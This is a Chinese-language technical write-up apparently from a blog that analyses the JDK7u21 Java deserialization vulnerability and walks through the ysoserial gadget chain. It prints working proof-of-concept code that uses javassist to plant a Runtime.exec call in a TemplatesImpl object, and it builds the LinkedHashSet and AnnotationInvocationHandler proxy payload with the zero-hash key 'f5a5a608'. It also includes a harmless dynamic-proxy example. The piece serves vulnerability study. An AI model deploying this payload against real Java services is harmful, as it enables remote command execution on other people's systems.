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這篇文章給大家分享的是有關JDK7u21反序列化漏洞的示例分析的內容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。
在上一次研究ApacheCommonsCollections的時候,由于本地的JRE環境是1.8,導致無法復現網上各位大佬提供的payload,但是在查找資料的過程中發現了ysoserial這個項目,簡單的講就是一個Java反序列化漏洞的利用框架,其中集成了很多針對不同框架的payload。在使用這個框架的過程中,發現了一個JDK7u21的payload,利用的是JDK本身的漏洞,但是如名稱所言,這個只在JDK7u21及以前的版本中生效,在經過了多天的調試分析后,發現這個漏洞利用流程非常巧妙復雜,有很多值得學習的地方,漏洞作者也寫出了一份writeup放在了 gist上。
這個漏洞看起來十分簡單,但是實際調試起來卻非常困難,足足讓本菜雞調了好幾天才徹底搞明白,一部分原因也是因為不熟悉Java的某些特性造成的,所以想要學習到東西還是要親手嘗試一下,只是拜讀其他大佬的文章并沒有什么用,而且總結成文也是再次加深了對漏洞的理解,畢竟想要給大家講明白就需要自己先搞明白。
在著手分析之前,我們先來學習一下前置技能。在這個PoC中,作者通過javassist動態生成了惡意的gadgets,用來觸發命令執行。
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
// 利用TemplatesImpl類來觸發惡意的bytescode
final TemplatesImpl templates = new TemplatesImpl();
// 獲取容器ClassPool,注入classpath
ClassPool pool = ClassPool.getDefault();
System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
// 獲取已經編譯好的類
System.out.println("ClassName: " + StubTransletPayload.class.getName());
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 在靜態的的構造方法中插入payload
clazz.makeClassInitializer()
.insertAfter("java.lang.Runtime.getRuntime().exec(\""
+ command.replaceAll("\"", "\\\"")
+ "\");");
// 給payload類設置一個名稱
// unique name to allow repeated execution (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 獲取該類的字節碼
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(
templates,
"_bytecodes",
new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 只要觸發這個方法就能執行我們注入的bytecodes
// templates.getOutputProperties();
return templates;
}
相關說明在注釋中已經給出了,通過精心構造一個TemplatesImpl對象,并且想辦法觸發該對象的getOutputPropertites()方法,就能執行我們構造的命令。
Java中的動態代理十分靈活,只需要為一組接口指定好InvocationHandler對象,那么調用接口方法的時候,將會被轉派到handler對象的invoke方法,在這個方法中可以通過反射執行原方法,也可以做一些其他的操作。
所有的Handler類都需要實現InvocationHandler這個接口,當我們通過代理對象調用某個方法的時候,這次調用就會被轉派到Handler的invoke方法,該函數簽名如下:
Object invoke(Object proxy, Method method, Object[] args) throws Throwable
proxy: 是被代理的真實對象
method: 要調用的真實對象方法的Method對象
args: 調用真實對象方法時的參數
當創建好InvocationHandler
對象后,就可以通過Proxy.newProxyInstance
方法來創建動態代理,該方法簽名如下:
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException
loader: 定義由哪個ClassLoader對象來對生成的代理對象進行加載
interfaces: Interface對象的數組,表示將要給需要代理的對象提供的一組什么接口
h: InvocationHandler對象,表示當目前這個動態代理對象在調用方法的時候,應當關聯到哪一個InvocationHandler對象上
來看一個動態代理的例子:
// 需要實現的接口
interface ISubject {
public void hello(String str);
}
// 實際的需要被代理的對象
class SubjectImpl implements ISubject {
public void hello(String str) {
System.out.println("SubjectImpl.hello(): " + str);
}
}
// Handler對象
class Handler implements InvocationHandler {
private Object subject;
public Handler(Object subject) {
this.subject = subject;
}
public Object invoke(Object object, Method method, Object[] args) throws Throwable {
System.out.println("before!");
method.invoke(this.subject, args);
System.out.println("after!");
return null;
}
}
public class DynamicProxy {
public static void main(String[] args) {
SubjectImpl subject = new SubjectImpl();
InvocationHandler tempHandler = new Handler(subject);
// 創建代理
ISubject iSubject = (ISubject) Proxy.newProxyInstance(ISubject.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler);
iSubject.hello("world!");
}
}
當代理創建完成后,我們調用iSubject.hello方法時,會被分配到invoke方法執行;輸出如下:
before!
SubjectImpl.hello(): world!
after!
說了這么多,我們再來一起分析一下這個漏洞,這個PoC是在ysoserial中的payload基礎上修改而來的,可能會比較易懂,先貼上PoC的主要部分:
public Object getObject(final String command) throws Exception {
// 生成惡意的templates,想辦法觸發templates.getOutputProperties();方法
Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
// 創建一個新的HashMap
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 創建代理使用的handler,AnnotationInvocationHandler作為動態代理的handler
// 代理創建完成后,所有調用被代理對象的方法都會調用AnnotationInvocationHandler的invoke方法
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
// 創建代理
// 后續所有調用Templates接口的方法會全部轉派到tempHandler.invoke方法
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates); // 存儲了惡意java字節碼數據的TemplatesImpl類對象
set.add(proxy); // 代理了Templates接口的對象
map.put(zeroHashCodeStr, templates);
// set中存儲了最終的payload,只需要反序列化這個就可以觸發了
return set;
}
大部分代碼上都寫了一些注釋,整體應該能看懂,接下來就仔細分析一下到底是如何觸發命令執行的了。
其實HashSet本質上就是一個HashMap<key, new Object()>
,key是我們存進去的數據,而value就是靜態的Object對象。
當LinkedHashSet被反序列的時候,會調用其父類HashSet的readObject方法。
根據這一部分的邏輯,可以看出來在反序列化的時候,會依次將templates
和proxy
加入到map中,繼續跟進put方法:
有一處很關鍵的比較,就是圖中打了斷點的475行,這里我們需要繼續觸發key.equals(k)方法,前面的判等我們暫且不談,先繼續向下跟進。由于我們代理了templates
接口,當調用到templates.equals()的時候,自然會調用到handler的invoke方法,這里也就是會調用proxy.equals(templates)方法。
繼續跟進equalsImpl方法,會發現這個方法會依次調用Templates的每一個方法,(如果不太理解的話可以在這里下斷單步跟一下),所以會調用到我們前面提到的Templates.getOutputProperties()方法,進而造成命令執行。
到這里整個流程已經走通了,整體的調用鏈也就像這樣,引用一下漏洞作者的圖:
簡化一下就是下面這樣子:
LinkedHashSet.readObject()
HashSet.readObject()
HashMap.put()
templates.equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
TemplatesImpl.getOutputProperties()
至于為什么調用TemplatesImpl.getOutputProperties()就能執行命令,各位同學可以自行跟一下,漏洞作者也給出了調用鏈,并不是很難理解,這里就不再展開說明了。
剛剛我們提到了一個很重要的判斷,想要利用equals方法必須繞過前面的hash判等。
e.hash == hash && ((k = e.key) == key || key.equals(k))
為了調用到最后的key.equals方法,根據邏輯短路原理(如果不知道啥是短路原理請自行google),必須讓e.hash == hash為true,并且(k = e.key) == key為false。
當執行到put(proxy)
的時候,map里實際上已經有第一個templates,這里的hash就是proxy.hashCode,e.hash就是templates.hashCode,也就是需要達成proxy.hashCode() == templates.hashCode()
這個條件。
templates.hashCode()
比較好說,這個類沒有重寫,調用的是默認的hashCode方法。當調用proxy.hashCode()
的時候,則會跳到AnnotationInvocationHandler.invoke()
方法,再來看一下這個方法是如何處理hashCode()方法的。
在48行調用了this.hashCodeImpl()
方法,繼續跟進后發現該方法會從memberValues中進行遍歷,并且依次計算key.hashCode()
,而這個memberValues
是我們在初始化AnnotationInvocationHandler
的時候傳入的:
// 創建一個新的HashMap
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo"); // 沒有這行也OK
// 創建代理使用的handler,AnnotationInvocationHandler作為動態代理的handler
// 代理創建完成后,所有調用被代理對象的方法都會調用AnnotationInvocationHandler的invoke方法
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
...
map.put(zeroHashCodeStr, templates);
這個map的key就是我們設置的特殊字符串『f5a5a608』,而這個字符串的hashCode是0,可以說是非常有意思了。而整個看起來很長的循環,實際上也就變成了
var1 += 127 * (0 ^ entry.getValue().hashCode())
那這個value是啥呢?就是我們構造的templates
。整個hash計算就變成了templates.hashCode()
,所以proxy.hashCode() == templates.hashCode()
也就成立了,如果不理解的話還是建議各位同學手動調試一下。
第二個條件e.key == key
是很明顯的不同的,一個是templates,另一個是proxy,所以這個條件是false,最終會調用到equals方法。
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